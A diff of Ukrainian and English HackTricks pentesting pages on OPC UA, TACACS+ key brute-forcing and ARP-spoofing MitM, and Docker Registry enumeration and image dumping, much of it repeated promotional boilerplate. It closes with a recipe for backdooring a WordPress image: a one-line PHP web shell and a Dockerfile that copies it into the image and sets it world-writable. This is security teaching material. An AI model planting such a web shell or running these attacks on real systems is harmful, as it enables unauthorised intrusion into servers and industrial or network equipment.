<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,62 @@
|
|||
# 4840 - Тестування OPC UA
|
||||
# 4840 - Pentesting OPC UA
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**Групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**OPC UA**, що означає **Open Platform Communications Unified Access**, є важливим протоколом з відкритим кодом, який використовується в різних галузях, таких як Виробництво, Енергетика, Авіація та Оборона для обміну даними та керування обладнанням. Він унікально дозволяє обладнанню різних виробників спілкуватися, особливо з ПЛК.
|
||||
**OPC UA**, що означає **Open Platform Communications Unified Access**, є важливим відкритим протоколом, що використовується в різних галузях, таких як виробництво, енергетика, аерокосмічна промисловість та оборона для обміну даними та контролю обладнання. Він унікально дозволяє обладнанню різних постачальників спілкуватися, особливо з PLC.
|
||||
|
||||
Його конфігурація дозволяє використовувати сильні заходи безпеки, але часто, для сумісності зі старішими пристроями, ці заходи зменшуються, що викладає системи ризикам. Крім того, пошук служб OPC UA може бути складним, оскільки мережеві сканери можуть не виявляти їх, якщо вони працюють на нетипових портах.
|
||||
Його конфігурація дозволяє застосовувати потужні заходи безпеки, але часто, для сумісності зі старими пристроями, ці заходи зменшуються, що піддає системи ризикам. Крім того, знайти послуги OPC UA може бути складно, оскільки мережеві сканери можуть їх не виявити, якщо вони знаходяться на нестандартних портах.
|
||||
|
||||
**Стандартний порт:** 4840
|
||||
**Default port:** 4840
|
||||
```text
|
||||
PORT STATE SERVICE REASON
|
||||
4840/tcp open unknown syn-ack
|
||||
```
|
||||
## Пентест OPC UA
|
||||
## Pentesting OPC UA
|
||||
|
||||
Для виявлення проблем безпеки в серверах OPC UA, скануйте їх за допомогою [OpalOPC](https://opalopc.com/).
|
||||
Щоб виявити проблеми безпеки в серверах OPC UA, проскануйте їх за допомогою [OpalOPC](https://opalopc.com/).
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Використання вразливостей
|
||||
|
||||
Якщо виявлені вразливості обхіду аутентифікації, ви можете налаштувати [клієнт OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) відповідним чином і переглянути, до чого ви можете отримати доступ. Це може дозволити від простого читання значень процесу до фактичного управління потужним промисловим обладнанням.
|
||||
Якщо виявлено вразливості обходу аутентифікації, ви можете відповідно налаштувати [OPC UA клієнт](https://www.prosysopc.com/products/opc-ua-browser/) і подивитися, до чого ви можете отримати доступ. Це може дозволити все, починаючи від простого читання значень процесів до фактичного управління важким промисловим обладнанням.
|
||||
|
||||
Щоб отримати уявлення про пристрій, до якого ви маєте доступ, прочитайте значення вузла "ServerStatus" у просторі адрес та знайдіть посібник з використання.
|
||||
Щоб отримати уявлення про пристрій, до якого ви маєте доступ, прочитайте значення вузлів "ServerStatus" в адресному просторі та знайдіть посібник з використання.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:4840`
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# 49 - Втручання в TACACS+
|
||||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Група з безпеки Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,33 +25,33 @@
|
|||
|
||||
## Основна інформація
|
||||
|
||||
Протокол **Terminal Access Controller Access Control System (TACACS)** використовується для централізованої перевірки користувачів, які намагаються отримати доступ до маршрутизаторів або серверів доступу до мережі (NAS). Його покращена версія, **TACACS+**, розділяє послуги на аутентифікацію, авторизацію та облік (AAA).
|
||||
Протокол **Terminal Access Controller Access Control System (TACACS)** використовується для централізованої валідації користувачів, які намагаються отримати доступ до маршрутизаторів або мережевих серверів доступу (NAS). Його оновлена версія, **TACACS+**, розділяє послуги на аутентифікацію, авторизацію та облік (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
```
|
||||
**Стандартний порт:** 49
|
||||
**Типовий порт:** 49
|
||||
|
||||
## Перехоплення ключа аутентифікації
|
||||
## Перехоплення ключа автентифікації
|
||||
|
||||
Якщо комунікація між клієнтом та сервером TACACS перехоплюється зловмисником, **зашифрований ключ аутентифікації може бути перехоплений**. Зловмисник може спробувати **локальну атаку методом грубої сили проти ключа без виявлення в журналах**. У разі успішного розкриття ключа зловмисник отримує доступ до мережевого обладнання та може розшифрувати трафік за допомогою інструментів, таких як Wireshark.
|
||||
Якщо комунікація між клієнтом і TACACS сервером перехоплюється зловмисником, **зашифрований ключ автентифікації може бути перехоплений**. Зловмисник може спробувати **локальну атаку методом перебору на ключ без виявлення в журналах**. Якщо атака на ключ буде успішною, зловмисник отримує доступ до мережевого обладнання і може розшифрувати трафік за допомогою інструментів, таких як Wireshark.
|
||||
|
||||
### Виконання атаки Man-in-the-Middle
|
||||
### Виконання атаки MitM
|
||||
|
||||
Атака спуфінгу ARP може бути використана для виконання атаки Man-in-the-Middle (MitM).
|
||||
Для виконання атаки Man-in-the-Middle (MitM) можна використовувати **атака ARP-спуфінгу**.
|
||||
|
||||
### Атака грубої сили на ключ
|
||||
### Перебір ключа
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) може бути використаний для атаки грубої сили на ключ:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) може бути використаний для перебору ключа:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Якщо ключ успішно **підібраний методом брутфорсу** (**зазвичай у форматі, зашифрованому MD5)**, **ми можемо отримати доступ до обладнання та розшифрувати зашифрований трафік TACACS**.
|
||||
Якщо ключ успішно **bruteforced** (**зазвичай у форматі MD5**), **ми можемо отримати доступ до обладнання та розшифрувати TACACS-зашифрований трафік.**
|
||||
|
||||
### Розшифрування трафіку
|
||||
Після успішного розкриття ключа, наступним кроком є **розшифрування зашифрованого трафіку TACACS**. Wireshark може обробляти зашифрований трафік TACACS, якщо наданий ключ. Аналізуючи розшифрований трафік, можна отримати інформацію, таку як **банер, що використовується, та ім'я користувача адміністратора**.
|
||||
### Розшифровка трафіку
|
||||
Після успішного зламу ключа наступним кроком є **розшифровка TACACS-зашифрованого трафіку**. Wireshark може обробляти зашифрований TACACS-трафік, якщо ключ надано. Аналізуючи розшифрований трафік, можна отримати інформацію, таку як **використовуваний банер та ім'я користувача адміністратора**.
|
||||
|
||||
Отримавши доступ до панелі управління мережевим обладнанням за отриманими обліковими даними, зловмисник може здійснювати контроль над мережею. Важливо зауважити, що ці дії виконуються виключно для освітніх цілей і не повинні використовуватися без належного дозволу.
|
||||
Отримавши доступ до панелі управління мережевим обладнанням за допомогою отриманих облікових даних, зловмисник може здійснювати контроль над мережею. Важливо зазначити, що ці дії строго для навчальних цілей і не повинні використовуватися без належного дозволу.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -62,16 +63,17 @@ sudo loki_gtk.py
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,55 @@
|
|||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
Для зберігання та розподілу Docker-зображень, які мають назву та можуть мати кілька версій з відмінними тегами, використовується система, відома як **Docker registry**. Ці зображення організовані в **Docker репозиторіях** в реєстрі, кожен репозиторій зберігає різні версії конкретного зображення. Надана функціональність дозволяє завантажувати зображення локально або вивантажувати в реєстр, за умови, що у користувача є необхідні дозволи.
|
||||
Система зберігання та розподілу, відома як **Docker registry**, призначена для Docker-образів, які мають назви та можуть мати кілька версій, що відрізняються тегами. Ці образи організовані в **Docker repositories** в реєстрі, кожен репозиторій зберігає різні версії конкретного образу. Надана функціональність дозволяє завантажувати образи локально або завантажувати їх у реєстр, за умови, що у користувача є необхідні дозволи.
|
||||
|
||||
**DockerHub** служить як типовий публічний реєстр для Docker, але користувачі також можуть використовувати власну версію відкритого вихідного коду Docker registry/distribution або скористатися комерційно підтримуваним **Docker Trusted Registry**. Крім того, в Інтернеті можна знайти різні інші публічні реєстри.
|
||||
|
||||
Для завантаження зображення з власного реєстру використовується наступна команда:
|
||||
**DockerHub** слугує за замовчуванням публічним реєстром для Docker, але користувачі також мають можливість працювати з локальною версією відкритого реєстру/дистрибуції Docker або вибрати комерційно підтримуваний **Docker Trusted Registry**. Крім того, в Інтернеті можна знайти різні інші публічні реєстри.
|
||||
|
||||
Щоб завантажити образ з локального реєстру, використовується наступна команда:
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
Ця команда отримує зображення `foo/bar` версії `2.1` з реєстру на місці на домені `my-registry` на порту `9000`. Навпаки, щоб завантажити те ж зображення з DockerHub, особливо якщо `2.1` - остання версія, команда спрощується до:
|
||||
|
||||
Ця команда отримує зображення `foo/bar` версії `2.1` з локального реєстру на домені `my-registry` на порту `9000`. У свою чергу, щоб завантажити те ж саме зображення з DockerHub, особливо якщо `2.1` є останньою версією, команда спрощується до:
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
||||
**Стандартний порт:** 5000
|
||||
|
||||
**Порт за замовчуванням:** 5000
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
|
||||
## Виявлення
|
||||
|
||||
Найпростіший спосіб виявити цей сервіс - це отримати його вивід у nmap. Однак слід зауважити, що оскільки це HTTP-сервіс, він може бути за HTTP-проксі та nmap його не виявить.\
|
||||
Найпростіший спосіб виявити цю службу - отримати її в результатах nmap. У будь-якому випадку, зверніть увагу, що оскільки це служба на основі HTTP, вона може бути за HTTP-проксі, і nmap не виявить її.\
|
||||
Деякі відбитки:
|
||||
|
||||
* Якщо ви звернетесь до `/`, у відповіді нічого не повернеться
|
||||
* Якщо ви звернетесь до `/v2/`, то повернеться `{}`
|
||||
* Якщо ви звернетесь до `/v2/_catalog`, ви можете отримати:
|
||||
* Якщо ви отримуєте доступ до `/`, у відповіді нічого не повертається
|
||||
* Якщо ви отримуєте доступ до `/v2/`, тоді повертається `{}`
|
||||
* Якщо ви отримуєте доступ до `/v2/_catalog`, ви можете отримати:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Нумерація
|
||||
## Перерахування
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Реєстр Docker може бути налаштований на використання **HTTP** або **HTTPS**. Тому першим, що вам може знадобитися зробити, це **з'ясувати**, який саме з них налаштований:
|
||||
|
||||
Docker registry може бути налаштований для використання **HTTP** або **HTTPS**. Тож перше, що вам, можливо, потрібно зробити, це **знайти, який з них** налаштовано:
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Authentication
|
||||
|
||||
### Аутентифікація
|
||||
|
||||
Реєстр Docker також може бути налаштований на вимогу **аутентифікації**:
|
||||
|
||||
Docker registry може бути налаштований так, щоб вимагати **authentication**:
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
Якщо Docker Registry вимагає аутентифікації, ви можете [**спробувати зламати її, використовуючи це**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Якщо ви знайдете дійсні облікові дані, вам потрібно буде використовувати їх** для переліку реєстру, у `curl` ви можете використовувати їх так:
|
||||
|
||||
Якщо Docker Registry вимагає аутентифікації, ви можете[ **спробувати зламати його за допомогою цього**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Якщо ви знайдете дійсні облікові дані, вам потрібно буде використовувати їх** для перерахунку реєстру, в `curl` ви можете використовувати їх так:
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### Enumeration using DockerRegistryGrabber
|
||||
|
||||
### Перелік за допомогою DockerRegistryGrabber
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) - це інструмент на Python для переліку / вивантаження реєстру Docker (без або з базовою аутентифікацією)
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) - це інструмент на Python для перерахунку / вивантаження реєстру docker (без або з базовою аутентифікацією)
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
|
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Enumeration using curl
|
||||
|
||||
### Перелік за допомогою curl
|
||||
|
||||
Після того, як ви **отримали доступ до реєстру Docker**, ось деякі команди, які ви можете використовувати для переліку:
|
||||
|
||||
Якщо ви **отримали доступ до реєстру docker**, ось кілька команд, які ви можете використовувати для його перерахунку:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що після завантаження та розпакування файлів блобів у поточному каталозі з'являться файли та теки. **Якщо ви завантажите всі блоби та розпакуєте їх у тому ж каталозі, вони перезапишуть значення з раніше розпакованих блобів**, тому будьте обережні. Можливо, буде цікаво розпакувати кожен блоб у різний каталог, щоб дослідити точний вміст кожного блобу.
|
||||
Зверніть увагу, що коли ви завантажуєте та розпаковуєте файли та папки blobs, вони з'являться в поточному каталозі. **Якщо ви завантажите всі blobs і розпакуєте їх в одній папці, вони перезапишуть значення з раніше розпакованих blobs**, тому будьте обережні. Може бути цікаво розпакувати кожен blob в окремій папці, щоб перевірити точний вміст кожного blob.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeration using docker
|
||||
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
@ -255,77 +239,81 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### Задня дверцята для образу WordPress
|
||||
|
||||
### Додавання задніх дверей до зображення WordPress
|
||||
|
||||
У випадку, якщо ви знайшли Docker Registry, який зберігає зображення WordPress, ви можете додати до нього задні двері.\
|
||||
**Створіть** задні двері:
|
||||
У сценарії, коли ви знайшли Docker Registry, що зберігає образ wordpress, ви можете створити задню дверцята.\
|
||||
**Створіть** **задню дверцята**:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
<?php echo shell_exec($_GET["cmd"]); ?>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Створіть **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
